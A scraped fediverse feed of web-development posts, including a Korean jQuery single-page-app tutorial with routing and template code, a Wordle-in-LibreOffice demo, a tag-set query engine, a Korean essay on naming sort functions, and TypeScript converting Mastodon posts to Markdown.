Screen recording of a user interacting with a document titled "Wordle in LibreOffice". The user clicks a button labeled "Start!", which shows a short animation of "Wordle in LibreOffice, Implemented in JavaScript". The user then inputs a number of words, starting with begin, then dozen, then raven, and finally taken. After making a new line after each word, the word gets highlighted in gray, yellow, and green, corresponding to the incorrect / misplaced / correct letters of that word. In the end, after another animation, the game displays "Well done! 4 / 6".
ALT text

Screen recording of a user interacting with a document titled "Wordle in LibreOffice". The user clicks a button labeled "Start!", which shows a short animation of "Wordle in LibreOffice, Implemented in JavaScript". The user then inputs a number of words, starting with begin, then dozen, then raven, and finally taken. After making a new line after each word, the word gets highlighted in gray, yellow, and green, corresponding to the incorrect / misplaced / correct letters of that word. In the end, after another animation, the game displays "Well done! 4 / 6".

@bojidar_bg@mastodon.social

LibreOffice's JavaScript macros are quite powerful! Much impressed!

Also, they are quite hard to get started with. What I've learned: bojidar-bg.dev/blog/2025-11-11

Screen recording of a user interacting with a document titled "Wordle in LibreOffice". The user clicks a button labeled "Start!", which shows a short animation of "Wordle in LibreOffice, Implemented in JavaScript". The user then inputs a number of words, starting with begin, then dozen, then raven, and finally taken. After making a new line after each word, the word gets highlighted in gray, yellow, and green, corresponding to the incorrect / misplaced / correct letters of that word. In the end, after another animation, the game displays "Well done! 4 / 6".
ALT text

Screen recording of a user interacting with a document titled "Wordle in LibreOffice". The user clicks a button labeled "Start!", which shows a short animation of "Wordle in LibreOffice, Implemented in JavaScript". The user then inputs a number of words, starting with begin, then dozen, then raven, and finally taken. After making a new line after each word, the word gets highlighted in gray, yellow, and green, corresponding to the incorrect / misplaced / correct letters of that word. In the end, after another animation, the game displays "Well done! 4 / 6".

@gnh1201@hackers.pub

React나 Vue 등의 프레임워크 사용은 지금은 매우 당연시되지만, 한편으로는 지금까지도 당연시되지 않아 그나마 사용 가능한 라이브러리가 jQuery 밖에 없는 경우도 꽤나 있다. (jQuery no.1...)

이런 상황에서 SPA(Single-page application) 앱을 작성해야 한다....? 걱정말라. 아예 바닐라(프레임워크의 조력을 받지 않는) 상태로 앱을 짜라는 것 보단 낫지 않은가.

7년전 실무에서 실제로 쓰였던 jQuery 기반의 SPA 최소 구현을 공유해보고자 한다. (그땐 코딩 잘하는 AI도 없으니 일일히 다 짠거다.)

SPA 경험이 아예 없는 경우 이러한 최소 구현을 분석하는 과정을 통해 실제 React, Vue 같은 SPA 작성에 쓰이는 주류 프레임워크를 이해하는데에도 도움이 될 것이다.

App 도입부

App 도입부는 이렇게 시작하면 된다. 간단하다. 현재의 주류 프레임워크에서는 <App /> 표현에 가까운 도입부이다.

(function($) {
    $.fn.App = {
        // set routing rules
        "routes": [
            { "path": "/", "tmpl": "main.tmpl.html" },
            { "path": "/gift", "tmpl": "gift.tmpl.html" },
            { "path": "/gift/:id", "tmpl": "gift.view.tmpl.html" },
            { "path": "/gallery", "tmpl": "gallery.tmpl.html" },
            { "path": "/contact", "tmpl": "contact.tmpl.html" },
            { "path": "/policy", "tmpl": "policy.tmpl.html" },
            { "path": "/policy/privacy", "tmpl": "policy.privacy.tmpl.html" },
            { "path": "/policy/email", "tmpl": "policy.email.tmpl.html" },
            { "path": "/policy/cookie", "tmpl": "policy.cookie.tmpl.html" },
            { "path": "/policy/copyright", "tmpl": "policy.copyright.tmpl.html" },
        ],

        // set default title
        "title": "Gift soldout",

        // set API url
        "apiUrl": "http://gift-soldout.local/",

        // set page
        "page": 1,

        // set limit per page
        "limit": 20,

        // add script
        "addScript": function(url, callback) {
            var $s = $("<script/>").attr({
                "type": "text/javascript",
                "src": url
            }).appendTo("head");
            $s.promise().done(function() {
                if(typeof(callback) == "function") {
                    callback($s[0], $s[0].innerHTML);
                }
            });
        },

        "addStylesheet": function(url, callback) {
            $s = $("<link/>").attr({
                "rel": "stylesheet",
                "type": "text/css",
                "href": url
            }).appendTo("head");
            $s.promise().done(function() {
                if(typeof(callback) == "function") {
                    callback($s[0], $s[0].innerHTML);
                }
            });
        },

        "initScripts": function() {
            // disabled auto-completable form
            $("form.autocomplete-disabled").attr("autocomplete", "off");

            // disable ime
            $("input.ime-disabled").css("ime-mode", "disabled");
        },

        // (...omiited...)

여기까지 함으로서 스타일 시트 및 스크립트, 그리고 URI Route 규칙이 해결된다.

양식(Form)에 대해서 자동완성(autocomplete) 및 입력기(IME) 설정을 조정해야 되는 경우에 대한 처리도 부가적으로 추가했다.

렌더링(Rendering) 부

렌더링 부분에서는 실제 사용자에게 보여줄 컨텐츠를 처리하게 된다. 렌더링 과정과 함께 pushState, popState를 활용하여 SPA가 아닌 일반 정적 웹사이트와 동일한 브라우징 경험을 제공한다.

        // (...omiited...)
        "renderTemplate": function(uri, routes, _data, _options) {
            var _uri = URI.parse(uri);
            var _path = _uri.path;
            var _query = $().App.parseQuery(_uri.query);
            var _tmpl = "404.tmpl.html";
            var _matched = false;
            var _fail = function(xhr, status, error) {
                var _row = [xhr, status, error, xhr.responseText];
                var data = "('" + _row.join("','") + "')<=(xhr,status,error,responseText)";
                var qs = $.param({"route": "ajax.error.gif", "data": data});
                $("<img/>").attr("src", $().App.apiUrl + "?" + qs).appendTo("body");
                console.log(data);
                alert("We're sorry. Please try again in a few minutes.");
            };
            var _success = function(response) {
                var uiContent = $(".ui-content");
                var html = $.render.tmpl(response);
                var pageTitle = ("title" in response) ? response.title : $().App.title;
                uiContent.html(html);
                uiContent.find("a").click($().App.initClicks(_options));
                window.history.pushState({"html": html, "pageTitle": pageTitle}, "" , _path);
                $(document).find("title").text(pageTitle);
                $().App.initScripts();
            };

            // override path
            _path = ("p" in _query) ? _query.p : _path;

            // checking matched rule (try 1)
            for(var i in routes) {
                var paths = routes[i].path.split("/");
                var pos = routes[i].path.indexOf("/:");
                var _paths = _path.split("/");

                // parse URI parameters
                if((paths.length - _paths.length) == 0 && pos > -1) {
                     if(_path.indexOf(routes[i].path.substring(0, pos)) == 0) {
                        _tmpl = routes[i].tmpl;
                        _matched = true;
                        for(var k in paths) {
                            if(paths[k].indexOf(":") == 0) {
                                _query[paths[k].substring(1)] = _paths[k];
                            }
                        }
                    }
                }
            }

            // checking matched rule (try 2)
            if(_matched == false) {
                for(var i in routes) {
                     if(_path.indexOf(routes[i].path) == 0) {
                        _tmpl = routes[i].tmpl;
                        _matched = true;
                     }
                }
            }

            // load template file
            $.get("/templates/" + _tmpl, function(response) {
                $.templates({ tmpl: response });

                if(!!_data) {
                    _success(_data);
                } else {
                    $().App.getItems(_path, {
                        "page": $().App.page,
                        "limit": $().App.limit,
                        "query": _query,
                        "referer": $().App.getCurrentUri()
                    }, _success, _fail);
                }
            }, "html").fail(_fail);

            // after rendering template
            if("afterRenderTemplate" in _options) {
                _options.afterRenderTemplate(_path, _data);
            }
        },
        // (...omiited...)

데이터 연결

데이터베이스로 부터 실제 데이터를 가져와야하므로, 데이터 요청을 처리할 수 있는 메소드를 추가해준다.

        // (...omiited...)
        // get items from remote server
        "getItems": function(uri, data, callback, error) {
            var params = { "route": "spa", "p": uri };
            $.ajax({
                url: $().App.apiUrl + "?" + $.param(params),
                type: "post",
                dataType: "json",
                data: data,
                success: callback,
                error: error
            });
        },
        // (...omiited...)

It's showtime

이렇게 만들어진 SPA 앱을 실제 실행하기 위한 앱을 작성한다.

$(document).ready(function() {
    $().App.main({
        "afterRenderTemplate": function(path, data) {
            // 렌더링 후처리 구현
        },

        "afterSubmit": function(path, data) {
            // HTML form 전송이 일어났을 때 후처리 구현
        }
    });

HTML/CSS 퍼블리싱 다들 할 줄 알지...? 폭풍 퍼블리싱 하자.

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" lang="ko" xml:lang="ko">
    <head>
        <meta http-equiv="Content-Type" content="application/xhtml+xml; charset=utf-8"/>
        <meta http-equiv="X-UA-Compatible" content="IE=edge"/>
        <meta name="viewport" content="width=device-width, initial-scale=1.0, minimum-scale=1.0"/>

        <title>Gift Soldout</title>
        <link href="https://gift-soldout.local/assets/css/app.main.css" rel="stylesheet" type="text/css"/>
        <link href="https://gift-soldout.local/favicon.ico" rel="icon" type="image/x-icon"/>
        <link href="https://gift-soldout.local/sitemap.html" rel="contents"/>
        <link href="https://gift-soldout.local/rss.xml" rel="sitemap" type="application/rss+xml"/>
        <link href="https://gift-soldout.local/favicon.ico" rel="icon" />
    </head>

    <body>
        <div class="accessibility">
            <ul>
            <li><a href="#header">웹페이지 상단으로 가기</a></li>
            <li><a href="#c_content">웹페이지 본문으로 가기</a></li>
            <li><a href="#c_nav">웹페이지 메뉴로 가기</a></li>
            <li><a href="#footer">웹페이지 하단으로 가기</a></li>
            </ul>
        </div>

        <div id="wrap">
            <div id="header">
                <div class="l_head">
                    <div class="cmt">Gift Soldout</div>
                    <h1 class="logo"><a href="/"><img src="https://gift-soldout.local/assets/img/logo.png" height="64" width="auto" alt="gift-soldout.local"/></a></h1>
                    <div class="lh_second">
                        <span class="one">Gift</span>
                        <span class="two">Soldout</span>
                    </div>
                </div>
                <div class="r_head">
                    <ul class="rh_nav">
                        <li class="rhn_item1"><a href="/"><span>검색</span></a></li>
                        <li class="rhn_item2"><a href="/gallery"><span>자료</span></a></li>
                        <li class="rhn_item3"><a href="/contact"><span>문의</span></a></li>
                    </ul>
                </div>
            </div>

            <div id="content">
                <div id="c_content" class="c_content ui-content">
                    <div class="cc_activity">
                        <div class="cca_title">
                            <h1>잠시만 기다려 주세요... Please wait...</h1>
                            <div class="ccat_clear"></div>
                        </div>
                        <div class="cca_content">
                            <p>본 웹 사이트는 자바스크립트(Javascript)를 사용하여야 원활한 이용이 가능합니다.</p>
                            <p>정상적인 웹 사이트 이용이 안되는 경우 <a href="/sitemap.html">사이트맵</a>을 확인하거나, 담당자에게 연락주시기 바랍니다.</p>
                            <p>This website is only available for Javascript enabled web browser.</p>
                            <p>If you have trouble using our website, please check <a href="/sitemap.html">sitemap</a> or contact me.</p>

                            <form class="pure-form pure-form-aligned" action="#" method="post">
                                <legend>장애 발생 시 연락주세요 (Contact me)</legend>

                                <fieldset>
                                    <div class="pure-control-group">
                                        <label for="name">Name</label>
                                        <input id="name" name="name" type="text" title="('Name')<=(PlaceHolder)"/>
                                        <span class="pure-form-message-inline">This is a required field.</span>
                                    </div>

                                    <div class="pure-control-group">
                                        <label for="email">Email</label>
                                        <input id="email" name="email" type="email" title="('Email')<=(PlaceHolder)">
                                    </div>
                                    
                                    <div class="pure-control-group">
                                        <label for="message">Message</label>
                                        <textarea id="message" name="message" title="('Message')<=(PlaceHolder)"></textarea>
                                    </div>

                                    <div class="pure-controls">
                                        <button type="submit" class="pure-button pure-button-primary">Submit</button>
                                    </div>
                                </fieldset>
                            </form>
                        </div>
                    </div>
                </div>

                <div id="c_nav" class="c_nav">
                    <div class="cn_activity">
                        <form class="ui-form" id="form_gift" method="post" action="http://gift-soldout.local">
                            <div class="hidden">
                                <input type="hidden" name="route" value="spa" />
                                <input type="hidden" name="p" value="/gift" />
                            </div>
                            <div class="cna_title">
                                <h1>검색 조건</h1>
                                <div class="cna_clear"></div>
                            </div>
                            <ul class="cna_list">
                                <li class="nolink icon icon-search">
                                    <label class="cnal_label">
                                        <input class="hidden" type="checkbox" name="chk_enabled[keyword]" value="1"/>
                                        키워드
                                    </label>
                                    <input class="text" type="text" size="12" name="keyword"/>
                                    <button class="cnal_button" type="submit">추가</button>
                                </li>
                                <li class="nolink icon icon-search">
                                    <label class="cnal_label">
                                        <input class="hidden" type="checkbox" name="chk_enabled[material_type]" value="1"/>
                                        광물
                                    </label>
                                    <label><input type="radio" name="material_type" value="kaolin"> 우라늄</label> &nbsp;
                                    <label><input type="radio" name="material_type" value="stone"> 플루토늄</label> &nbsp;
                                    <label><input type="radio" name="material_type" value="clay"> 라듐</label> &nbsp;
                                    <button class="cnal_button" type="submit">추가</button>
                                </li>
                                <li class="nolink icon icon-search">
                                    <label class="cnal_label">
                                        <input class="hidden" type="checkbox" name="chk_enabled[temperture]" value="1"/>
                                        소성(&#8451;)
                                    </label>
                                    <input class="text" type="text" size="2" name="max_temperture" value="1250" title="최대 온도" />
                                    &gt; 온도 &gt;
                                    <input class="text" type="text" size="2" name="min_temperture" value="1000" title="최소 온도" />
                                    <button class="cnal_button" type="submit">추가</button>
                                </li>
                                <li class="nolink icon icon-search">
                                    <label class="cnal_label">
                                        <input class="hidden" type="checkbox" name="chk_enabled[mood]" value="1"/>
                                        분위기
                                    </label>
                                    <label><input type="radio" name="mood" value="oxidation"> 산화</label> &nbsp;
                                    <label><input type="radio" name="mood" value="reduction"> 환원</label> &nbsp;
                                    <button class="cnal_button" type="submit">추가</button>
                                </li>
                                <li class="nolink icon icon-search">
                                    <label class="cnal_label">
                                        <input class="hidden" type="checkbox" name="chk_enabled[absorption]" value="1"/>
                                        흡수(%)
                                    </label>
                                    <input class="text" type="text" size="2" name="max_absorption" value="100" title="최대 흡수율" />
                                    &gt; 흡수율 &gt;
                                    <input class="text" type="text" size="2" name="min_absorption" value="0" title="최소 흡수율" />
                                    <button class="cnal_button" type="submit">추가</button>
                                </li>
                                <li class="nolink icon icon-search">
                                    <label class="cnal_label">
                                        <input class="hidden" type="checkbox" name="chk_enabled[contraction]" value="1"/>
                                        수축(%)
                                    </label>
                                    <input class="text" type="text" size="2" name="max_contraction" value="100" title="최대 수축율" />
                                    &gt; 수축율 &gt;
                                    <input class="text" type="text" size="2" name="min_contraction" value="0" title="최소 수축율" />
                                    <button class="cnal_button" type="submit">추가</button>
                                </li>
                                <li class="nolink icon icon-search">
                                    <label class="cnal_label">
                                        <input class="hidden" type="checkbox" name="chk_enabled[lightness]" value="1"/>
                                        색도(CIE)
                                    </label>
                                    <input class="text" type="text" size="2" name="max_lightness" value="150" title="최대 L 색도" />
                                    &gt; L &gt;
                                    <input class="text" type="text" size="2" name="min_lightness" value="0" title="최소 L 색도" />
                                    <button class="cnal_button" type="submit">추가</button>
                                </li>
                            </ul>
                        </form>
                    </div>
                    <div class="cn_activity">
                        <div class="cna_title">
                            <h1>현재 조건</h1>
                            <div class="cna_clear"></div>
                        </div>
                        <ul id="assist_gift" class="cna_list">
                            <li class="nolink icon icon-search">
                                <p class="cnal_title">조건 없음</p>
                                <p>지정된 조건이 없습니다.</p>
                            </li>
                        </ul>
                    </div>
                </div>

                <div class="c_clear"></div>
            </div>

            <div id="footer">
                <div class="nav_copy">
                    <ul>
                        <li><a href="#"><span>개인정보처리방침</span></a></li>
                        <li><a href="#"><span>이메일무단수집거부</span></a></li>
                        <li><a href="#"><span>저작권정책</span></a></li>
                        <li><a href="#"><span>찾아오시는 길</span></a></li>
                    </ul>
                    <div class="nc_clear"></div>
                </div>

                <div class="address_box">
                    <div class="detail">
                        <p>기관명: 기프트솔드아웃, 소재지: (00000) 태양계 화성</p>
                        <p>전자우편: <a href="mailto:hello@gift-soldout.local">hello@gift-soldout.local</a>, 대표전화: 000-0000-0000, 팩스: 000-0000-0000</p>
                        <p>Gift Soldout</p>
                        <p>Location: Mars, Universe, Postcode: 0000</p>
                        <p>Email: <a href="mailto:hello@gift-soldout.local">hello@gift-soldout.local</a>, Fax: +82-000-0000-0000, Telephone: +82-000-0000-0000</p>
                    </div>
                    <div class="related">
                        <ul>
                            <li><a href="/go/xhtml10"><img src="https://gift-soldout.local/assets/img/valid-xhtml10.png" alt="Valid XHTML 1.0 Strict" title="본 웹사이트는 XHTML 1.0 Strict(엄격) 표준을 만족합니다." height="31" width="88"/></a></li>
                        </ul>
                    </div>
                    <div class="ab_clear"></div>
                </div>
            </div>
        </div>

        <div class="accessibility">
            <ul>
            <li><a href="#header">웹페이지 상단으로 가기</a></li>
            <li><a href="#c_content">웹페이지 본문으로 가기</a></li>
            <li><a href="#c_nav">웹페이지 메뉴로 가기</a></li>
            <li><a href="#footer">웹페이지 하단으로 가기</a></li>
            </ul>
        </div>

        <script type="text/javascript">//<!--<![CDATA[
            (function(l) {
                if (l.search) {
                    var q = {};
                    l.search.slice(1).split('&').forEach(function(v) {
                        var a = v.split('=');
                        q[a[0]] = a.slice(1).join('=').replace(/~and~/g, '&');
                    });
                    if (q.p !== undefined) {
                        window.history.replaceState(null, null,
                            l.pathname.slice(0, -1) + (q.p || '') +
                            (q.q ? ('?' + q.q) : '') +
                            l.hash
                        );
                    }
                }
            }(window.location))
        //]]>--></script>
        <!--[if lt IE 9]><script src="http://cdnjs.cloudflare.com/ajax/libs/html5shiv/3.7.3/html5shiv.min.js" type="text/javascript"></script><![endif]-->
        <script src="https://gift-soldout.local/assets/js/jquery-3.4.1.js" type="text/javascript"></script>
        <script src="https://gift-soldout.local/assets/js/jsrender.js" type="text/javascript"></script>
        <script src="https://gift-soldout.local/assets/js/URI.js" type="text/javascript"></script>
        <script src="https://gift-soldout.local/assets/js/jquery.form.js" type="text/javascript"></script>
        <script src="https://gift-soldout.local/assets/js/app.main.js" type="text/javascript"></script>
    </body>
</html>

테스트

도입부에서 보았던 Route 규칙에 따라 정상적으로 표시되는지 확인한다.

정적 코드 호스팅 서비스에서 사용하는 경우 아래 스크립트를 보조적으로 활용할 수 있다.

<!DOCTYPE html>
<html>
  <head>
    <meta charset="utf-8">
    <title>Single Page Apps for GitHub Pages</title>
    <script type="text/javascript">
      // Single Page Apps for GitHub Pages
      // https://github.com/rafrex/spa-github-pages
      // Copyright (c) 2016 Rafael Pedicini, licensed under the MIT License
      // ----------------------------------------------------------------------
      // This script takes the current url and converts the path and query
      // string into just a query string, and then redirects the browser
      // to the new url with only a query string and hash fragment,
      // e.g. http://www.foo.tld/one/two?a=b&c=d#qwe, becomes
      // http://www.foo.tld/?p=/one/two&q=a=b~and~c=d#qwe
      // Note: this 404.html file must be at least 512 bytes for it to work
      // with Internet Explorer (it is currently > 512 bytes)

      // If you're creating a Project Pages site and NOT using a custom domain,
      // then set segmentCount to 1 (enterprise users may need to set it to > 1).
      // This way the code will only replace the route part of the path, and not
      // the real directory in which the app resides, for example:
      // https://username.github.io/repo-name/one/two?a=b&c=d#qwe becomes
      // https://username.github.io/repo-name/?p=/one/two&q=a=b~and~c=d#qwe
      // Otherwise, leave segmentCount as 0.
      var segmentCount = 0;

      var l = window.location;
      l.replace(
        l.protocol + '//' + l.hostname + (l.port ? ':' + l.port : '') +
        l.pathname.split('/').slice(0, 1 + segmentCount).join('/') + '/?p=/' +
        l.pathname.slice(1).split('/').slice(segmentCount).join('/').replace(/&/g, '~and~') +
        (l.search ? '&q=' + l.search.slice(1).replace(/&/g, '~and~') : '') +
        l.hash
      );

    </script>
  </head>
  <body>
  </body>
</html>

이 과정에 사용된 부가적인 라이브러리

jsviews.com

JsRender/JsViews

@inautilo@mastodon.social
@inautilo@mastodon.social
@kalvin0x58c@kupi.my

Anyone who is an expert or has expertise in website coding here? How can I make my Ghost CMS with the Casper theme have a toggle for switching between dark and light themes? Dark should be the default. Alternatively, is there an option to include automatic dark/light switching based on the device or browser theme? I need help.

@toxi@mastodon.thi.ng

Tags are sets. Many apps support tagging of content, but most of them (incl. Mastodon) treat tags only as singular/isolated topic filters, akin to a flat folder-based approach. But tagging can be so, so much more powerful when treating tags as sets and offering users the possibility to combine and query tagged content as sets (think Venn diagrams), i.e. allowing tags to be combined using AND/OR/NOT aka intersection/union/difference operations...

Below is a simple query engine to do just that in ~40 lines of code (sans comments), incl. using an extensible interpreter for a simple Lisp-like S-Expression language to define arbitrarily complex nested tag queries (the code is actually lifted & simplified from my personal knowledge graph tooling, also talked about here recently[1]...)

gist.github.com/postspectacula

For example, the query:

`(and (or 'Alps' 'PNW') (or 'LandscapePhotography' 'NaturePhotography') (not 'Monochrome'))`

...would select all items which have been tagged with `Alps` OR `PNW`, AND have at least one of the two photography tags given, but have NOT the `Monochrome` tag.

Whilst this syntax is probably alien-looking to the average user, it'd would be fairly straightforward to create visual/structural UIs for defining such queries (over the past 20 years I've done that myself several times already), heck even a SLM (small language model) could be used to translate natural language into such query expressions — what matters here is the widespread lack of treating tags this way in terms of conceptual/data modeling in most applications. Imagine being able to use hashtags this way on Mastodon to assemble personalized timelines (and extend the system to not just deal with hashtags, but other post metadata/provenance too)...

The code example illustrates how, with the right tools, such features are actually not hard to implement (or to integrate into existing apps). The example uses the following packages for its key functionality:

- thi.ng/associative: Set-theory operations, custom Map/Set data types (unused here)
- thi.ng/lispy: Customizable/extensible S-expression parser, interpreter & runtime
- thi.ng/oquery: Optimized object and array pattern query engine

[1] mastodon.thi.ng/@toxi/11549755

Syntax highlighted TypeScript sourcecode of the linked code example...
ALT text

Syntax highlighted TypeScript sourcecode of the linked code example...

@disjukr@hackers.pub

TL;DR

arr.sort((a, b) => a - b); 보다 sortAsc(arr)가 낫고,
sortAsc(arr) 보다 sort123(arr) 내지는 sortAbc(arr)가 낫다.


arr.sort((a, b) => a - b);

이런 코드를 마주하면 나는 보통 js 콘솔에다가

[3, 2, 1].sort((a, b) => a - b); // [1, 2, 3]

이걸 실행해서 이게 오름차순인지 내림차순인지 확인하곤 한다.

사실 자주 접하는 패턴이라 abab로 적혀있으면 바로 오름차순이라고 읽히긴 하는데 내가 제대로 읽은게 맞나 싶어서 매번 다시 확인한다.

// 오름차순으로 arr 정렬
arr.sort((a, b) => a - b);

이렇게 주석으로 오름차순인지 내림차순인지 언급해주면 좀 낫긴 하지만 나는 사람에 대한 기대가 낮다.

// 오름차순으로 arr 정렬
arr.sort((a, b) => b - a); // ?

원래 오름차순이었던 코드를 누가 내림차순으로 바꾸면서 주석은 안 고쳐놨을지 어떻게 아나.
누군가가 코드를 고쳐놓고 주석 또는 문서는 안 고쳐놓는 경우를 일하면서 수도없이 (오늘도) 마주했다.

이런건 주석보다는 그냥 자신의 동작을 잘 설명하는 이름이 붙은 함수를 만드는게 맞다.

// 실제 코드에서 이렇게 sort asc라고 써있으면 양반이다.
// 보통 사람들은 함수명을 sortBlablaArr 따위로 적어두고
// 그게 오름차순인지 내림차순인지 제 3의 기준인지 언급하지 않는다.
function sortAsc(arr) {
  return [...arr].sort((a, b) => a - b);
}

그런데 나는 sortAsc라는 이름을 보면 바로 감이 확 오지는 않고 대략 머리속에서 이런 절차를 거쳐서 코드를 읽는다.

  1. 풀어서 sort ascending
  2. 한국어로는 오름차순 정렬
  3. 점점 커지는(올라가는) 정렬이겠구나
  4. 1, 2, 3 같이 되겠네

이쯤 되면 사실 나한테는 sortAsc(arr)나 arr.sort((a, b) => a - b)나 해석하는데 오래걸리긴 매한가지다.

그나마 sortAsc(arr) 쪽은 js 콘솔을 열지 않고도 해석할 수 있다는 이점이 있긴 하다.


그래서 나는 사람들이 오름차순 정렬에는 sort123, 내림차순에는 sort321 같은 이름을 사용해줬으면 좋겠다.

앞서 언급한 다른 코드들보다 sort123(arr) 같은 코드가 내 머릿속의 해석 단계를 많이 줄여줄 수 있다.

sort 라는 앞에 단어를 붙이는게 (동어반복이라거나 해서) 부자연스러운 맥락에서 123, 321만 있으면 숫자로 시작하니까 식별자로 사용할 수 없어서 문제라면 abc, cba라는 대안(즉, sortAbc(arr), sortCba(arr))을 제시해본다.

hackers.pub

abab, asc, 123, abc

This post discusses improving code readability when sorting arrays in JavaScript. The author highlights the common practice of using `arr.sort((a, b) => a - b)` for sorting, which can be unclear at a glance, often requiring developers to test the code to confirm the sorting order. While adding comments like "// 오름차순으로 arr 정렬" can help, the author argues that comments can become outdated if the code is modified without updating the comment. The author suggests using descriptive function names like `sortAsc(arr)` to improve clarity, but even this requires some mental processing to understand the sorting order. As a solution, the author proposes using function names such as `sort123(arr)` for ascending order and `sort321(arr)` for descending order, or alternatively, `sortAbc(arr)` and `sortCba(arr)`, to immediately convey the sorting direction, reducing cognitive load and potential misinterpretations. The key takeaway is that choosing more explicit function names can significantly enhance code understanding and maintainability.

@disjukr@hackers.pub

TL;DR

arr.sort((a, b) => a - b); 보다 sortAsc(arr)가 낫고,
sortAsc(arr) 보다 sort123(arr) 내지는 sortAbc(arr)가 낫다.


arr.sort((a, b) => a - b);

이런 코드를 마주하면 나는 보통 js 콘솔에다가

[3, 2, 1].sort((a, b) => a - b); // [1, 2, 3]

이걸 실행해서 이게 오름차순인지 내림차순인지 확인하곤 한다.

사실 자주 접하는 패턴이라 abab로 적혀있으면 바로 오름차순이라고 읽히긴 하는데 내가 제대로 읽은게 맞나 싶어서 매번 다시 확인한다.

// 오름차순으로 arr 정렬
arr.sort((a, b) => a - b);

이렇게 주석으로 오름차순인지 내림차순인지 언급해주면 좀 낫긴 하지만 나는 사람에 대한 기대가 낮다.

// 오름차순으로 arr 정렬
arr.sort((a, b) => b - a); // ?

원래 오름차순이었던 코드를 누가 내림차순으로 바꾸면서 주석은 안 고쳐놨을지 어떻게 아나.
누군가가 코드를 고쳐놓고 주석 또는 문서는 안 고쳐놓는 경우를 일하면서 수도없이 (오늘도) 마주했다.

이런건 주석보다는 그냥 자신의 동작을 잘 설명하는 이름이 붙은 함수를 만드는게 맞다.

// 실제 코드에서 이렇게 sort asc라고 써있으면 양반이다.
// 보통 사람들은 함수명을 sortBlablaArr 따위로 적어두고
// 그게 오름차순인지 내림차순인지 제 3의 기준인지 언급하지 않는다.
function sortAsc(arr) {
  return [...arr].sort((a, b) => a - b);
}

그런데 나는 sortAsc라는 이름을 보면 바로 감이 확 오지는 않고 대략 머리속에서 이런 절차를 거쳐서 코드를 읽는다.

  1. 풀어서 sort ascending
  2. 한국어로는 오름차순 정렬
  3. 점점 커지는(올라가는) 정렬이겠구나
  4. 1, 2, 3 같이 되겠네

이쯤 되면 사실 나한테는 sortAsc(arr)나 arr.sort((a, b) => a - b)나 해석하는데 오래걸리긴 매한가지다.

그나마 sortAsc(arr) 쪽은 js 콘솔을 열지 않고도 해석할 수 있다는 이점이 있긴 하다.


그래서 나는 사람들이 오름차순 정렬에는 sort123, 내림차순에는 sort321 같은 이름을 사용해줬으면 좋겠다.

앞서 언급한 다른 코드들보다 sort123(arr) 같은 코드가 내 머릿속의 해석 단계를 많이 줄여줄 수 있다.

sort 라는 앞에 단어를 붙이는게 (동어반복이라거나 해서) 부자연스러운 맥락에서 123, 321만 있으면 숫자로 시작하니까 식별자로 사용할 수 없어서 문제라면 abc, cba라는 대안(즉, sortAbc(arr), sortCba(arr))을 제시해본다.

hackers.pub

abab, asc, 123, abc

This post discusses improving code readability when sorting arrays in JavaScript. The author highlights the common practice of using `arr.sort((a, b) => a - b)` for sorting, which can be unclear at a glance, often requiring developers to test the code to confirm the sorting order. While adding comments like "// 오름차순으로 arr 정렬" can help, the author argues that comments can become outdated if the code is modified without updating the comment. The author suggests using descriptive function names like `sortAsc(arr)` to improve clarity, but even this requires some mental processing to understand the sorting order. As a solution, the author proposes using function names such as `sort123(arr)` for ascending order and `sort321(arr)` for descending order, or alternatively, `sortAbc(arr)` and `sortCba(arr)`, to immediately convey the sorting direction, reducing cognitive load and potential misinterpretations. The key takeaway is that choosing more explicit function names can significantly enhance code understanding and maintainability.

@pasqualeberesti@piaille.fr

Est-ce que quelqu'un utilise cette librairie pour afficher des panoramas 360° sur un site web ?

naver.github.io/egjs-view360/

Je n'arrive pas à la faire fonctionner même en recopiant les exemples du tutoriel :

naver.github.io/egjs-view360/d

Et je ne vois pas ce qui bloque.
Si quelqu'un a une idée, je suis preneur.

naver.github.io

Quick Start | View360

Using the default styles of View360

@toxi@mastodon.thi.ng

Been updating my personal Mastodon tooling to download and convert my bookmarked toots. Here's how little code is needed to download a single message and convert its HTML content into Markdown, all using these packages:

- thi.ng/hiccup: Interop data format (i.e. just nested JS arrays) to encode hierarchical documents
- thi.ng/hiccup-html-parse: Parses HTML into hiccup format
- thi.ng/hiccup-markdown: Serialize hiccup to Markdown (also includes a Markdown parser to hiccup, but not used here)
- thi.ng/zipper: Functional tree editing, manipulation & navigation (here to clean/transform the parsed HTML document)

Edit: Gist version of this example code:
gist.github.com/postspectacula

Syntax colored TypeScript source code:

import { parseHtml } from "@thi.ng/hiccup-html-parse";
import { serialize } from "@thi.ng/hiccup-markdown";
import { arrayZipper, type Location } from "@thi.ng/zipper";

// load a Mastodon status via API
const res = await (
	await fetch("https://mastodon.thi.ng/api/v1/statuses/115464108396925195")
).json();

// parse HTML content into thing/hiccup format (nested JS arrays)
const parsed = parseHtml(res.content, {
	whitespace: true,
	ignoreAttribs: ["class"],
}).result!;

// structure of parsed example:
// [["p", {}, "text"], ["p", {}, ...], ...]

// recursively traverse result document/array using thi.ng/zipper
// and replace all <span> elements with their raw text body
let loc: Location<any> | undefined = arrayZipper(parsed);
while (loc) {
	loc = loc.next;
	if (Array.isArray(loc?.node) && loc?.node[0] == "span")
		loc = loc.replace(loc.node[2]);
	if (loc?.next == null) break;
}

// serialize hiccup to markdown
console. log(serialize(loc?.root, null));

/*
Result (in markdown format), omitted here due to alt text limits
*/
ALT text

Syntax colored TypeScript source code: import { parseHtml } from "@thi.ng/hiccup-html-parse"; import { serialize } from "@thi.ng/hiccup-markdown"; import { arrayZipper, type Location } from "@thi.ng/zipper"; // load a Mastodon status via API const res = await ( await fetch("https://mastodon.thi.ng/api/v1/statuses/115464108396925195") ).json(); // parse HTML content into thing/hiccup format (nested JS arrays) const parsed = parseHtml(res.content, { whitespace: true, ignoreAttribs: ["class"], }).result!; // structure of parsed example: // [["p", {}, "text"], ["p", {}, ...], ...] // recursively traverse result document/array using thi.ng/zipper // and replace all <span> elements with their raw text body let loc: Location<any> | undefined = arrayZipper(parsed); while (loc) { loc = loc.next; if (Array.isArray(loc?.node) && loc?.node[0] == "span") loc = loc.replace(loc.node[2]); if (loc?.next == null) break; } // serialize hiccup to markdown console. log(serialize(loc?.root, null)); /* Result (in markdown format), omitted here due to alt text limits */

@pasqualeberesti@piaille.fr

